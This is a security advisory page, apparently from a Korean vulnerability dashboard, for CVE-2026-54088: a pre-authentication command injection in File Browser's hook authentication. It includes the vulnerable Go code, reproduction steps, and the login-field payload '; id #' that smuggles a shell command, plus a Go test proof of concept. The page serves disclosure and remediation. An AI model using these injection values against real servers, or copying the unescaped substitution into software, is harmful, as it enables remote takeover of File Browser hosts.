Kestrel
대시보드로 돌아가기
CVE-2026-54088CRITICALMITRENVDGHSA대응게시일: 2026. 06. 25.수정일: 2026. 07. 10.

File Browser: Command Injection via Authentication Hook Shell Substitution (Pre-Authentication RCE)

RCEAuth

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
critical

이론적 심각도 점수

EPSS
0.6%상위 53.5%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

CVSS 벡터 정보 없음

상세 설명

Overview

The Hook Authentication feature in File Browser allows administrators to delegate login verification to an external shell command. User-supplied credentials (username and password) are interpolated into this command string using os.Expand without sanitization. An unauthenticated remote attacker can inject shell metacharacters in the username or password field at the login screen, causing the server to execute arbitrary OS commands before any authentication takes place. This is a critical pre-authentication RCE.

Affected Location

  • File: auth/hook.go
  • Function: HookAuth.RunCommand

CVSS v4.0

MetricValueRationale
Attack Vector (AV)Network (N)Exploitable via the login endpoint over HTTP from any network
Attack Complexity (AC)Low (L)Single crafted HTTP request; no preparation needed
Attack Requirements (AT)None (N)No race condition or special timing required
Privileges Required (PR)None (N)No account required — pre-authentication attack
User Interaction (UI)None (N)Fully automated; no victim action needed
Vulnerable System Confidentiality (VC)High (H)Full read access to server filesystem and env
Vulnerable System Integrity (VI)High (H)Arbitrary file write/modification
Vulnerable System Availability (VA)High (H)Can kill processes, exhaust resources
Subsequent System Confidentiality (SC)None (N)No direct impact on downstream systems assumed
Subsequent System Integrity (SI)None (N)
Subsequent System Availability (SA)None (N)

Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Base Score: 9.3 (Critical)

Note: PR:None is the critical differentiator from vulnerabilities 01 and 02. Because the injection point is the unauthenticated login endpoint, no account or session is required. A single HTTP request to the login API is sufficient to achieve RCE.

CWE

IDNameRole
CWE-78Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')Primary — attacker-supplied credentials embedded in shell command string via os.Expand
CWE-88Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')Secondary — $USERNAME/$PASSWORD expansion injects additional shell commands
CWE-306Missing Authentication for Critical FunctionSecondary — OS command execution is reachable before any authentication is verified

Technical Details

HookAuth.RunCommand builds the authentication command and substitutes credential values using os.Expand:

text
1// auth/hook.go
2envMapping := func(key string) string {
3 switch key {
4 case "USERNAME":
5 return a.Cred.Username // directly from the HTTP login request body
6 case "PASSWORD":
7 return a.Cred.Password // directly from the HTTP login request body
8 default:
9 return os.Getenv(key)
10 }
11}
12
13for i, arg := range command {
14 if i == 0 { continue }
15 command[i] = os.Expand(arg, envMapping) // no escaping applied
16}

os.Expand performs plain text substitution. There is no escaping, quoting, or validation of the credential values before they are embedded into the command string.

If an admin has configured the hook authentication command as:

bash
1sh -c "test $USERNAME = 'admin'"

...and an attacker submits the username ; id # at the login screen, the expanded command becomes:

text
1sh -c "test ; id # = 'admin'"

The ; terminates the test expression and the shell executes id. The # comments out the remainder, preventing a syntax error. The attacker's command runs with the privileges of the File Browser process — without needing a valid account or password.

Attack Scenario / Reproduction Steps

  1. Admin enables Hook Authentication and sets the command to:
    bash
    1sh -c "test $USERNAME = 'admin'"
  2. An unauthenticated attacker sends a login request (e.g., via curl or the web UI) with:
    • Username: ; id #
    • Password: (any value)
  3. The server executes:
    text
    1sh -c "test ; id # = 'admin'"
  4. The id command runs on the server, confirming pre-authentication RCE.

No account is needed. The attacker does not need to know any valid credentials. A single request is sufficient.

Impact

An unauthenticated remote attacker can execute arbitrary OS commands on the server under the privilege level of the File Browser process. This is the most severe class of vulnerability in this codebase:

  • No authentication required — exposed to the entire internet if the service is public-facing.
  • Single request — no setup, no enumeration, no prior foothold.
  • Full server compromise: data exfiltration, persistent backdoor installation, lateral movement to internal networks.

Any internet-facing File Browser instance with Hook Authentication enabled is fully compromised by a single malformed login attempt.

Proof of Concept

bash
1package auth
2
3import (
4 "os"
5 "strings"
6 "testing"
7)
8
9func TestPoC_AuthHookInjection(t *testing.T) {
10 // Simulate the admin-configured hook authentication command.
11 // This represents a realistic configuration: verify the username via a shell expression.
12 a := &HookAuth{
13 Command: "sh -c $USERNAME",
14 Cred: hookCred{
15 // Attacker-supplied username from the login form.
16 // The password is irrelevant.
17 Username: "id ; echo injected",
18 Password: "anything",
19 },
20 }
21
22 // Simulate the RunCommand logic in auth/hook.go
23 command := strings.Split(a.Command, " ")
24
25 envMapping := func(key string) string {
26 if key == "USERNAME" {
27 return a.Cred.Username
28 }
29 return os.Getenv(key)
30 }
31
32 for i, arg := range command {
33 if i == 0 {
34 continue
35 }
36 // os.Expand substitutes $USERNAME with the attacker's input.
37 // The result is treated as a shell script — no escaping is applied.
38 command[i] = os.Expand(arg, envMapping)
39 }
40
41 // The shell will execute: sh -c "id ; echo injected"
42 expectedArg := "id ; echo injected"
43 if command[2] != expectedArg {
44 t.Errorf("Expected command argument %q, got %q", expectedArg, command[2])
45 }
46
47 t.Logf("Confirmed: malicious username was injected as a shell script. Executing: %v", command)
48}

Remediation

Pass credentials exclusively as environment variables, not as shell string substitutions. This feature is undocumented, so removing it should not cause issues.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.